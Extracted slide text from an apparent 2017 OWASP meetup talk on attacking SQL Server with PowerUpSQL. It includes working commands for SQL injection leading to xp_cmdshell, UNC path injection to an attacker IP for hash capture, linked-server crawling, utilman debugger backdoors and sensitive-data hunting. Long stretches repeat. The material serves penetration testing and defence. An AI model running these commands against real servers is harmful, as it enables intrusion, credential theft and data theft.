bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 29: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

